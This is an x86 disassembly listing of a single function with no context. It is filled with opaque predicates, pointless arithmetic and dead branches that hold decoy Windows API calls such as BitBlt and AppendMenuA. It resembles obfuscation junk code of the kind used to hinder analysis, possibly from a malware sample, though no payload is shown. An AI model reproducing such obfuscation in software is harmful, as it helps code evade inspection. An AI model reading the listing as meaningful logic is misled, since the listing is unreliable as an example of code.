mov dword [ebp - 0x23ac], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x23ac]
mov dword [ebp + eax - 0x1fc0], ecx
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x184]
mov dword [ebp - 0x35dc], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1fc0]
cmp dword [ebp - 4], eax
jg 0x4843b2
mov dword [ebp - 0xec4], 1
jmp 0x4843b9
and dword [ebp - 0xec4], 0
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xec4]
jge 0x4843d4
push 2
pop eax
test eax, eax
jne 0x4843d4
and dword [ebp - 0xecc], 0
jmp 0x4843de
mov dword [ebp - 0xecc], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x184]
cmp dword [ebp - 0xecc], eax
jl 0x4843ff
mov dword [ebp - 0xed4], 1
jmp 0x484406
and dword [ebp - 0xed4], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0xed4], eax
je 0x48441d
mov dword [ebp - 0xedc], 1
jmp 0x484424
and dword [ebp - 0xedc], 0
mov eax, dword [ebp - 0xedc]
mov dword [ebp - 0x5a4], eax
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x184]
cmp eax, dword [ebp - 0x5a4]
je 0x48444e
mov dword [ebp - 0xee4], 1
jmp 0x484455
and dword [ebp - 0xee4], 0
mov eax, dword [ebp - 0xee4]
mov dword [ebp - 0x25c], eax
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x25c], eax
jl 0x484478
mov dword [ebp - 0xeec], 1
jmp 0x48447f
and dword [ebp - 0xeec], 0
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x184]
imul eax, dword [ebp - 0xeec]
test eax, eax
je 0x4844b0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x184], 0
je 0x4844b0
mov dword [ebp - 0xef4], 1
jmp 0x4844b7
and dword [ebp - 0xef4], 0
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x184]
cmp dword [ebp - 0xef4], eax
jg 0x4844d5
mov dword [ebp - 0xefc], 1
jmp 0x4844dc
and dword [ebp - 0xefc], 0
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x184]
cmp dword [ebp - 0xefc], eax
jl 0x4844fa
mov dword [ebp - 0xf04], 1
jmp 0x484501
and dword [ebp - 0xf04], 0
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x184]
add eax, dword [ebp - 0xf04]
mov ecx, dword [ebp - 4]
mov dword [ebp + ecx*4 - 0x184], eax
mov dword [ebp - 0x25c], 1
jmp 0x484534
mov eax, dword [ebp - 0x25c]
dec eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0
jl 0x4847e9
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
mov ecx, dword [ebp + ecx*4 - 0x184]
cmp dword [ebp + eax*4 - 0x184], ecx
jl 0x484563
mov dword [ebp - 0xf24], 1
jmp 0x48456a
and dword [ebp - 0xf24], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1fc0], 0
jne 0x484631
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x184]
mov dword [ebp - 0x3188], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 4]
mov ecx, dword [ebp + ecx*4 - 0x184]
cmp dword [ebp + eax - 0x1fc0], ecx
jge 0x4845b3
mov dword [ebp - 0xf0c], 1
jmp 0x4845ba
and dword [ebp - 0xf0c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1fc0]
cmp dword [ebp - 0xf0c], eax
je 0x4845e5
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x184], 0
jne 0x4845e5
and dword [ebp - 0xf14], 0
jmp 0x4845ef
mov dword [ebp - 0xf14], 1
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x184]
cmp dword [ebp - 0xf14], eax
jge 0x48460d
mov dword [ebp - 0xf1c], 1
jmp 0x484614
and dword [ebp - 0xf1c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1fc0]
add eax, dword [ebp - 0xf1c]
jne 0x484631
and dword [ebp - 0xf2c], 0
jmp 0x48463b
mov dword [ebp - 0xf2c], 1
mov eax, dword [ebp - 0xf24]
imul eax, dword [ebp - 0xf2c]
test eax, eax
jne 0x48465e
mov eax, 0x6ae6
test eax, eax
jne 0x48465e
and dword [ebp - 0xf34], 0
jmp 0x484668
mov dword [ebp - 0xf34], 1
imul eax, dword [ebp - 0xf34], 0xffffffff
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x1fc0], eax
cmp dword [ebp - 4], 0
jne 0x48473c
mov eax, dword [ebp - 4]
mov dword [ebp - 0xf3c], eax
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x184]
cmp eax, dword [ebp - 0xf3c]
jne 0x4846ad
mov dword [ebp - 0xf44], 1
jmp 0x4846b4
and dword [ebp - 0xf44], 0
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x184]
add eax, dword [ebp - 0xf44]
jne 0x4846d4
xor eax, eax
inc eax
jne 0x4846d4
and dword [ebp - 0xf4c], 0
jmp 0x4846de
mov dword [ebp - 0xf4c], 1
mov eax, dword [ebp - 0xf4c]
mov dword [ebp - 0x5a4], eax
mov eax, dword [ebp - 0x5a4]
cmp dword [ebp - 0x25c], eax
jg 0x484704
mov dword [ebp - 0xf54], 1
jmp 0x48470b
and dword [ebp - 0xf54], 0
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x184]
cmp dword [ebp - 0xf54], eax
jne 0x484729
mov dword [ebp - 0xf5c], 1
jmp 0x484730
and dword [ebp - 0xf5c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1fc0]
mov eax, dword [ebp - 0x5a4]
mov dword [ebp - 0x3568], eax
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x184], ecx
jge 0x484763
mov dword [ebp - 0xf64], 1
jmp 0x48476a
and dword [ebp - 0xf64], 0
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x184]
add eax, dword [ebp - 0xf64]
cmp eax, dword [ebp - 0x25c]
jl 0x48478e
mov dword [ebp - 0xf6c], 1
jmp 0x484795
and dword [ebp - 0xf6c], 0
cmp dword [ebp - 0xf6c], 1
jl 0x4847aa
mov dword [ebp - 0xf74], 1
jmp 0x4847b1
and dword [ebp - 0xf74], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0xf74], eax
jne 0x4847d1
mov eax, 0xc7a8
test eax, eax
je 0x4847d1
mov dword [ebp - 0xf7c], 1
jmp 0x4847d8
and dword [ebp - 0xf7c], 0
mov eax, dword [ebp - 0xf7c]
mov dword [ebp - 0x23b4], eax
jmp 0x484527
jmp 0x484322
mov eax, dword [ebp + 8]
inc eax
mov dword [ebp - 0x23bc], eax
lea eax, [ebp - 0x23bc]
push eax
push fcn.0046af63
lea ecx, [ebp - 0x2aa4]
call fcn.00485dd5
mov dword [ebp - 0x90c], 0xca631852
mov dword [ebp - 0x90c], 0xb
jmp 0x484832
mov eax, dword [ebp - 0x90c]
dec eax
mov dword [ebp - 0x90c], eax
cmp dword [ebp - 0x90c], 0xfffffff7
jle 0x48498c
mov dword [ebp - 0x91c], 1
push 3
lea ecx, [ebp - 0x3524]
call fcn.00432b0d
mov dword [ebp - 0x914], 0
jmp 0x48486f
mov eax, dword [ebp - 0x914]
inc eax
mov dword [ebp - 0x914], eax
cmp dword [ebp - 0x914], 3
jge 0x484891
push dword [ebp - 0x914]
lea ecx, [ebp - 0x3524]
call fcn.00432bfb
mov dword [eax], 3
jmp 0x484862
mov dword [ebp - 0x91c], 0
jmp 0x4848aa
mov eax, dword [ebp - 0x91c]
dec eax
mov dword [ebp - 0x91c], eax
cmp dword [ebp - 0x91c], 0xffffffeb
jne 0x48497c
push 2
lea ecx, [ebp - 0x27f8]
call fcn.00432b0d
mov dword [ebp - 0x924], 0
jmp 0x4848dd
mov eax, dword [ebp - 0x924]
inc eax
mov dword [ebp - 0x924], eax
cmp dword [ebp - 0x924], 2
jge 0x4848ff
push dword [ebp - 0x924]
lea ecx, [ebp - 0x27f8]
call fcn.00432bfb
mov dword [eax], 0xded68044
jmp 0x4848d0
push 1
lea ecx, [ebp - 0x27f8]
call fcn.00432bfb
mov dword [eax], 2
jmp 0x484938
push 1
lea ecx, [ebp - 0x27f8]
call fcn.00432bfb
mov dword [ebp - 0xf84], eax
mov eax, dword [ebp - 0xf84]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xf84]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x27f8]
call fcn.00432bfb
cmp dword [eax], 0
jl 0x48496c
mov byte [ebp - 0x3f1], 0
movzx eax, byte [ebp - 0x3f1]
test eax, eax
je 0x48496a
push 1
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
jmp 0x484914
lea ecx, [ebp - 0x27f8]
call fcn.00432bdf
jmp 0x48489d
lea ecx, [ebp - 0x3524]
call fcn.00432bdf
jmp 0x484825
mov byte [ebp - 0x369], 0
movzx eax, byte [ebp - 0x369]
test eax, eax
je 0x4849e3
push 0x1629
push 0x8e1
push 0x1f9e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x1115
push 0x697
push 0xa2b
push 0x3fe
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
push 0
push 0
push 0
lea eax, [ebp - 0x3a80]
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x484f66
push 0
push 0
push 0x10
push dword [ebp - 0xb0c]
call dword [sym.imp.USER32.dll_SendMessageW]
push 4
lea ecx, [ebp - 0x9ac]
call fcn.00432b0d
mov dword [ebp - 0xfac], 0xfffffffd
mov dword [ebp - 0xfbc], 0x9b950315
mov dword [ebp - 0xb1c], 1
mov dword [ebp - 0x23c4], 6
push 2
lea ecx, [ebp - 0x2ddc]
call fcn.00432b0d
mov dword [ebp - 0xfb4], 1
push 2
lea ecx, [ebp - 0x3544]
call fcn.00432b0d
mov dword [ebp - 0x1c], 0
jmp 0x484a79
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x484a8f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3534], 0
jmp 0x484a72
mov dword [ebp - 0x1c], 0
jmp 0x484a9f
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x484abb
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x9ac]
call fcn.00432bfb
mov dword [eax], 0x860b4ffb
jmp 0x484a98
mov dword [ebp - 0x1c], 0
jmp 0x484acb
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x484ae1
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x387c], 0x72b21a35
jmp 0x484ac4
mov dword [ebp - 0x1c], 0
jmp 0x484af1
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x484b0a
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x2ddc]
call fcn.00432bfb
and dword [eax], 0
jmp 0x484aea
mov dword [ebp - 0x1c], 0
jmp 0x484b1a
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x484b33
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x3544]
call fcn.00432bfb
and dword [eax], 0
jmp 0x484b13
push 3
lea ecx, [ebp - 0x9ac]
call fcn.00432bfb
and dword [eax], 0
jmp 0x484b69
push 3
lea ecx, [ebp - 0x9ac]
call fcn.00432bfb
mov dword [ebp - 0xf8c], eax
mov eax, dword [ebp - 0xf8c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xf8c]
mov dword [ecx], eax
push 3
lea ecx, [ebp - 0x9ac]
call fcn.00432bfb
cmp dword [eax], 2
jg 0x484cbe
mov dword [ebp - 0x934], 0x17e2f9d4
mov dword [ebp - 0x3190], 0xfffffff7
mov dword [ebp - 0x35e4], 0
mov dword [ebp - 0x3198], 0x32a17d0b
mov dword [ebp - 0xb14], 7
mov dword [ebp - 0x92c], 0
jmp 0x484bca
mov eax, dword [ebp - 0x92c]
inc eax
mov dword [ebp - 0x92c], eax
cmp dword [ebp - 0x92c], 3
jge 0x484be6
mov eax, dword [ebp - 0x92c]
mov dword [ebp + eax*4 - 0x2dc4], 0xf145ba13
jmp 0x484bbd
push 3
lea ecx, [ebp - 0x9ac]
call fcn.00432bfb
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x3534], 0
jne 0x484c17
mov eax, dword [ebp - 0xb14]
inc eax
mov dword [ebp - 0xb14], eax
jne 0x484c17
and dword [ebp - 0xf94], 0
jmp 0x484c21
mov dword [ebp - 0xf94], 1
push 3
lea ecx, [ebp - 0x9ac]
call fcn.00432bfb
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x3534]
cmp eax, dword [ebp - 0xf94]
je 0x484c4b
mov dword [ebp - 0xf9c], 1
jmp 0x484c52
and dword [ebp - 0xf9c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2dc4]
imul eax, dword [ebp - 0xf9c]
imul eax, eax, 0xfffb
mov dword [ebp - 0xfbc], eax
mov dword [ebp - 0x934], 0
jmp 0x484c8b
mov eax, dword [ebp - 0x934]
inc eax
mov dword [ebp - 0x934], eax
cmp dword [ebp - 0x934], 2
jg 0x484cb9
push 4
pop esi
shl esi, 0
push 3
lea ecx, [ebp - 0x9ac]
call fcn.00432bfb
mov eax, dword [eax]
mov ecx, dword [ebp + esi - 0x2dc4]
mov dword [ebp + eax*4 - 0x2dc4], ecx
jmp 0x484c7e
jmp 0x484b45
push 3
lea ecx, [ebp - 0x9ac]
call fcn.00432bfb
mov esi, dword [ebp - 0x23c4]
push 1
lea ecx, [ebp - 0x2ddc]
call fcn.00432bfb
cmp esi, dword [eax]
jge 0x484cee
mov dword [ebp - 0xfa4], 1
jmp 0x484cf5
and dword [ebp - 0xfa4], 0
mov eax, dword [ebp - 0xb1c]
dec eax
mov dword [ebp - 0xb1c], eax
mov eax, dword [ebp - 0xfa4]
mov dword [ebp - 0xfac], eax
mov eax, dword [ebp - 0xfac]
add eax, 0xebe1
mov dword [ebp - 0xfb4], eax
imul esi, dword [ebp - 0xb1c], 0
add esi, dword [ebp - 0xfb4]
push 2
lea ecx, [ebp - 0x9ac]
call fcn.00432bfb
cmp esi, dword [eax]
je 0x484d49
mov dword [ebp - 0x23cc], 1
jmp 0x484d50
and dword [ebp - 0x23cc], 0
push 3
lea ecx, [ebp - 0x9ac]
call fcn.00432bfb
mov eax, dword [ebp - 0xfbc]
mov dword [ebp - 0xfc4], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xfc4]
mov dword [ebp + eax - 0x387c], ecx
push 2
lea ecx, [ebp - 0x9ac]
call fcn.00432bfb
mov ecx, dword [ebp - 0xfc4]
cmp ecx, dword [eax]
jge 0x484d9f
mov dword [ebp - 0xfcc], 1
jmp 0x484da6
and dword [ebp - 0xfcc], 0
push 2
lea ecx, [ebp - 0x9ac]
call fcn.00432bfb
mov ecx, dword [ebp - 0xfcc]
mov dword [eax], ecx
lea ecx, [ebp - 0x3544]
call fcn.00432bdf
lea ecx, [ebp - 0x2ddc]
call fcn.00432bdf
lea ecx, [ebp - 0x9ac]
call fcn.00432bdf
lea ecx, [ebp - 0x2aa4]
call fcn.00467c89
mov dword [ebp - 0x2bac], 5
mov dword [ebp - 0x2ba8], 5
mov dword [ebp - 0x2ba4], 5
mov dword [ebp - 0x2ba0], 5
lea ecx, [ebp - 0xbd5]
call fcn.00432c0a
push eax
lea eax, [ebp - 0x2b9c]
push eax
lea eax, [ebp - 0x2bac]
push eax
lea ecx, [ebp - 0x396c]
call fcn.00432c0d
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x3894]
call fcn.00432bb9
mov dword [ebp - 0x93c], 6
mov dword [ebp - 0x3578], 0xc7c8a6b9
mov dword [ebp - 0x31a0], 1
mov dword [ebp - 0x35ec], 0x78abc106
mov dword [ebp - 0x31a8], 6
mov dword [ebp - 0x3768], 0xfffffffd
mov dword [ebp - 0x3764], 0xfffffffd
mov dword [ebp - 0x3760], 0xfffffffd
mov dword [ebp - 0x375c], 0xfffffffd
mov dword [ebp - 0xfd4], 0x17ca
mov dword [ebp - 0x93c], 0
jmp 0x484ec1
mov eax, dword [ebp - 0x93c]
inc eax
mov dword [ebp - 0x93c], eax
cmp dword [ebp - 0x93c], 3
jg 0x484f54
mov dword [ebp - 0x3588], 0xfffffffe
mov dword [ebp - 0x1e0], 0
jmp 0x484ef1
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 2
jge 0x484f0d
mov eax, dword [ebp - 0x1e0]
mov dword [ebp + eax*4 - 0x397c], 0
jmp 0x484ee4
mov dword [ebp - 0x1e0], 0
jmp 0x484f26
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 3
jge 0x484f42
mov eax, dword [ebp - 0x1e0]
mov dword [ebp + eax*4 - 0x3a10], 0x7865925e
jmp 0x484f19
mov eax, dword [ebp - 0xfd4]
dec eax
mov dword [ebp - 0xfd4], eax
jmp 0x484eb4
lea ecx, [ebp - 0x3894]
call fcn.00432bdf
jmp 0x484f66
mov dword [ebp - 0x2260], 0xffb871c7
mov dword [ebp - 0x225c], 0xffb871c7
mov dword [ebp - 0x2258], 0xffb871c7
mov dword [ebp - 0x2254], 0xffb871c7
mov dword [ebp - 0xff4], 0x3531f145
mov dword [ebp - 0x1014], 0xfffffffc
mov dword [ebp - 0x23d4], 0xfffe
mov dword [ebp - 0x944], 0
jmp 0x484fc5
mov eax, dword [ebp - 0x944]
inc eax
mov dword [ebp - 0x944], eax
cmp dword [ebp - 0x944], 2
jge 0x484fe1
mov eax, dword [ebp - 0x944]
mov dword [ebp + eax*4 - 0x2270], 2
jmp 0x484fb8
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x2270], 0x6f3f17e2
mov eax, 0x6f3f17e2
test eax, eax
jne 0x48504e
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2270]
mov dword [ebp - 0x31b0], eax
mov eax, dword [ebp - 0xff4]
mov dword [ebp - 0xfdc], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xfdc]
mov dword [ebp + eax - 0x2270], ecx
cmp dword [ebp - 0xfdc], 0
je 0x485045
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2260], 0
jne 0x48504e
and dword [ebp - 0xfe4], 0
jmp 0x485058
mov dword [ebp - 0xfe4], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2260]
imul eax, dword [ebp - 0xfe4]
neg eax
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x2260]
jl 0x485088
mov dword [ebp - 0xfec], 1
jmp 0x48508f
and dword [ebp - 0xfec], 0
cmp dword [ebp - 0xfec], 1
je 0x4850b3
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2260], 0
je 0x4850b3
mov dword [ebp - 0xffc], 1
jmp 0x4850ba
and dword [ebp - 0xffc], 0
mov eax, dword [ebp - 0xff4]
cmp dword [ebp - 0xffc], eax
jl 0x4850d4
mov dword [ebp - 0x1004], 1
jmp 0x4850db
and dword [ebp - 0x1004], 0
cmp dword [ebp - 0x1004], 0x3f29c8dd
jl 0x485100
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2270], 0
jne 0x485100
and dword [ebp - 0x100c], 0
jmp 0x48510a
mov dword [ebp - 0x100c], 1
mov eax, dword [ebp - 0x100c]
mov dword [ebp - 0x1014], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2260]
add eax, dword [ebp - 0x1014]
push 4
pop ecx
shl ecx, 1
cmp dword [ebp + ecx - 0x2260], eax
jge 0x485142
mov dword [ebp - 0x101c], 1
jmp 0x485149
and dword [ebp - 0x101c], 0
mov eax, dword [ebp - 0x101c]
mov dword [ebp - 0x23d4], eax
mov byte [ebp - 0x3f3], 0
movzx eax, byte [ebp - 0x3f3]
test eax, eax
je 0x485178
push 0
push 0
push 0x22fb
push 0
call dword [sym.imp.USER32.dll_AppendMenuA]
lea ecx, [ebp - 0x2aa4]
call fcn.00467c7e
jmp 0x485bc2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret